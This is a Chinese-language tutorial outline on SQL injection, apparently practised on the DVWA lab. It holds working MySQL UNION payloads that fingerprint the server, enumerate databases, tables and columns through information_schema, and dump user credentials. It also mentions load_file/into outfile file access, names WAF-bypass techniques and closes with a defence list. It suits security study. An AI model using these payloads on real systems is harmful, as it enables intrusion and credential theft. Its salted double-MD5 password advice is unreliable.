说明:目前只介绍了Mysql和如何防御,后续补充其他。
一、数据库类型
1. Access
2. Mysql
在mysql 5.0
以上的版本存在一个information_schema
的数据库,它记录着所有的数据库、表明、列名。
mysql数据库中“.”
代表下级,where
指定条件,group_concat()
查询所有,limit x,1
查询多个数据。
判断注入
猜解字段数:
id=1 order by
利用二分法猜解直到页面显示正常。
报错回显准备:id=-1 union select
加字段数。
/*记录所有库名*/select * from information_schema.schemata
/*记录所有表名*/select * from information_schema.tables
/*记录所有列名*/select * from information_schema.columns
/*数据库表名*/table_schema
/*数据库列名*/column_schema
/*库名*/schema_name
/*表名*/table_name
/*列名*/column_name
信息收集
/*操作系统*/@@version_compile_os
/*数据库版本*/version()
/*数据库名*/database()
/*数据库用户*/user()
获取路径信息的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。
常规注入
低版本:暴力查询或结合读取查询。
高版本:information_schema
有据查询。
id=1 order by 1,2,3,4,5,6
id=1 order by 1,2,3
id=-1 union select 1,2,3
id=-1 union select 1,@@version_compile_os,version()
id=-1 union select 1,database(),user()
高权限注入
跨库查询:
- 利用
group_concat(schema_name)
和information_schema.schemata
进行查询所有数据库名。
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
- 利用
group_concat(table_name)
和information_schema.tables
并指定table_schema = 'dvwa'
进行查询dvwa下的所有表名。
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'dvwa'
- 利用
group_concat(column_name)
和information_schema.columns
并指定table_schema = 'users'
和table_schema = 'dvwa'
进行查询dvwa下users表的所有列名。
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'dvwa'
- 到此,通过跨库成功获取指定数据库的信息。
id=-1 union select 1,user,password from dvwa.users
文件读写
存在魔术引导利用编码或宽字节绕过
/*读取函数*/load_file()
/*写入函数*/into outfile
/*导出函数*/into dumpfile
相关防注入
自带防御:魔术引导
内置函数:init等
自定义关键字:select等
WAF防护:安全狗等
3. Mssql
4. Oracle
5. Postsql
6. Sqlite
7. Mongodb
二、提交方法
1. get
2. post
3. cookie
4. request
5. http头
三、数据类型
1. 数字型
2. 字符型
3. 搜索型
四、查询方法
1. SELECT
2. INSERT
3. DELETE
4. UPDATE
5. ORDER BY
五、回显盲注
1. 回显注入
2. 无回显注入
3. 延时盲注
4. 布尔盲注
六、注入拓展
1. 加解密注入
2. JSON注入
3. LADB注入
4. DNSlog注入
5. 二次注入
6. 堆叠查询
七、WAF绕过
1. 更改提交方法
2. 大小写混合
3. 解密编码类
4. 注释符混用
5. 等价函数替换
6. 特殊符号混用
7. 借助数据库特性
8. http参数污染
9. 垃圾数据溢出
八、如何防御
- 部署WAF,对输入进行过滤,限制输入长度,限制好数据库权限。
- 预编译好sql语句,使用特殊符号作占位符,注意缓存溢出、终止字符。
- 数据库信息加密安全,一次md5后加盐再md5。
- 使用存储过程或参数化视图作为数据访问的接口。
- 不要向终端用户公开详细的错误信息,避免泄露敏感信息。
- 定期更新应用程序和数据库系统的最新版本,更新漏洞补丁。
- 定期进行安全审计和漏洞扫描,修复已知漏洞,关闭应用的错误提示。
后续补充